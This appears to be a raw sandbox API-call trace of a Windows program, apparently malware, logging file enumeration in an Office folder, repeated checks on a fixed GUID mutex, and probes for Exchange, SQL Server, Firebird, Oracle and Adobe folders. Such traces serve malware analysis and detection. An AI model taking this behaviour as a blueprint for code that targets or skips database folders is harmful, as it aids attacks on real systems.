ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0x6e398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACER3X.DLL", cAlternateFileName="")) returned 1 [0047.454] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.454] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.454] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.454] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.454] GlobalUnlock (hMem=0x44000c) returned 0 [0047.454] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.454] GlobalLock (hMem=0x440004) returned 0x553188 [0047.454] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.454] GlobalUnlock (hMem=0x44000c) returned 0 [0047.454] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.454] GlobalUnlock (hMem=0x440004) returned 0 [0047.454] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.454] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95c9c200, ftCreationTime.dwHighDateTime=0x1cba070, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x95c9c200, ftLastWriteTime.dwHighDateTime=0x1cba070, nFileSizeHigh=0x0, nFileSizeLow=0xd9c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACERCLR.DLL", cAlternateFileName="")) returned 1 [0047.454] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.454] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.455] GlobalLock (hMem=0x440004) returned 0x551178 [0047.455] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.455] GlobalUnlock (hMem=0x440004) returned 0 [0047.455] GlobalLock (hMem=0x440004) returned 0x551178 [0047.455] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.455] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.455] GlobalUnlock (hMem=0x440004) returned 0 [0047.455] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.455] GlobalUnlock (hMem=0x44000c) returned 0 [0047.455] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.455] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd826df60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0xa8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEREP.DLL", cAlternateFileName="")) returned 1 [0047.455] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.455] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.455] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.455] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.455] GlobalUnlock (hMem=0x44000c) returned 0 [0047.455] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.455] GlobalLock (hMem=0x440004) returned 0x553188 [0047.455] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.455] GlobalUnlock (hMem=0x44000c) returned 0 [0047.455] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.455] GlobalUnlock (hMem=0x440004) returned 0 [0047.455] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.455] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1 [0047.455] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.455] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.455] GlobalLock (hMem=0x440004) returned 0x551178 [0047.455] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.455] GlobalUnlock (hMem=0x440004) returned 0 [0047.455] GlobalLock (hMem=0x440004) returned 0x551178 [0047.456] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.456] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.456] GlobalUnlock (hMem=0x440004) returned 0 [0047.456] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.456] GlobalUnlock (hMem=0x44000c) returned 0 [0047.456] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.456] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1 [0047.456] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.456] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.456] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.456] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.456] GlobalUnlock (hMem=0x44000c) returned 0 [0047.456] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.456] GlobalLock (hMem=0x440004) returned 0x553188 [0047.456] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.456] GlobalUnlock (hMem=0x44000c) returned 0 [0047.456] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.456] GlobalUnlock (hMem=0x440004) returned 0 [0047.456] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.456] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1 [0047.456] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.456] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.456] GlobalLock (hMem=0x440004) returned 0x551178 [0047.456] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.456] GlobalUnlock (hMem=0x440004) returned 0 [0047.456] GlobalLock (hMem=0x440004) returned 0x551178 [0047.456] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.456] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.456] GlobalUnlock (hMem=0x440004) returned 0 [0047.456] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.457] GlobalUnlock (hMem=0x44000c) returned 0 [0047.457] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.457] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1 [0047.457] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.457] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.457] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.457] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.457] GlobalUnlock (hMem=0x44000c) returned 0 [0047.457] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.457] GlobalLock (hMem=0x440004) returned 0x553188 [0047.457] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.457] GlobalUnlock (hMem=0x44000c) returned 0 [0047.457] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.457] GlobalUnlock (hMem=0x440004) returned 0 [0047.457] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.457] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x0, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1 [0047.457] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.457] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.457] GlobalLock (hMem=0x440004) returned 0x551178 [0047.457] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.457] GlobalUnlock (hMem=0x440004) returned 0 [0047.457] GlobalLock (hMem=0x440004) returned 0x551178 [0047.457] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.458] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.458] GlobalUnlock (hMem=0x440004) returned 0 [0047.458] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.458] GlobalUnlock (hMem=0x44000c) returned 0 [0047.458] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.458] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1 [0047.458] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.458] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.458] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.458] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.458] GlobalUnlock (hMem=0x44000c) returned 0 [0047.458] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.458] GlobalLock (hMem=0x440004) returned 0x553188 [0047.458] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.458] GlobalUnlock (hMem=0x44000c) returned 0 [0047.458] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.458] GlobalUnlock (hMem=0x440004) returned 0 [0047.458] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.458] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x0, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1 [0047.458] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.458] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.458] GlobalLock (hMem=0x440004) returned 0x551178 [0047.458] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.458] GlobalUnlock (hMem=0x440004) returned 0 [0047.458] GlobalLock (hMem=0x440004) returned 0x551178 [0047.458] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.458] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.458] GlobalUnlock (hMem=0x440004) returned 0 [0047.458] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.458] GlobalUnlock (hMem=0x44000c) returned 0 [0047.458] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.459] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1 [0047.459] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.459] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.459] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.459] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.459] GlobalUnlock (hMem=0x44000c) returned 0 [0047.459] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.459] GlobalLock (hMem=0x440004) returned 0x553188 [0047.459] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.459] GlobalUnlock (hMem=0x44000c) returned 0 [0047.459] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.459] GlobalUnlock (hMem=0x440004) returned 0 [0047.459] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.459] GlobalLock (hMem=0x440004) returned 0x551178 [0047.459] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.459] GlobalUnlock (hMem=0x440004) returned 0 [0047.459] GlobalLock (hMem=0x440004) returned 0x551178 [0047.459] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.459] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.459] GlobalUnlock (hMem=0x440004) returned 0 [0047.459] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.459] GlobalUnlock (hMem=0x44000c) returned 0 [0047.459] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.459] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures") returned 1 [0047.459] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.459] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.459] GlobalUnlock (hMem=0x44000c) returned 0 [0047.459] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.460] GlobalLock (hMem=0x440004) returned 0x553188 [0047.460] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.460] GlobalUnlock (hMem=0x44000c) returned 0 [0047.460] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.460] GlobalUnlock (hMem=0x440004) returned 0 [0047.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@뾊R뽞R企@\x18㽜Q\x18\x1b")) returned 0xffffffff [0047.460] GetLastError () returned 0x3 [0047.460] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.460] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0047.460] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0047.460] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뻜R企@\x18㿬Q\x181")) returned 0xffffffff [0047.461] GetLastError () returned 0x2 [0047.461] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.461] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.461] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.461] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뱔R企@\x18?T\x18;")) returned 0xffffffff [0047.461] GetLastError () returned 0x2 [0047.461] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.461] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e693f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뭼R企@\x18?T\x18D")) returned 0xffffffff [0047.462] GetLastError () returned 0x2 [0047.462] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e693f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0047.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@뻜R企@\x18뱔R\x18j")) returned 0xffffffff [0047.462] GetLastError () returned 0x2 [0047.462] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0047.462] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0047.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69358, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="봬R䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0047.463] GetLastError () returned 0x2 [0047.463] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\cultures\\") returned 0x41 [0047.463] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e693f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뱐RÐ") returned 6 [0047.463] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0047.463] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, 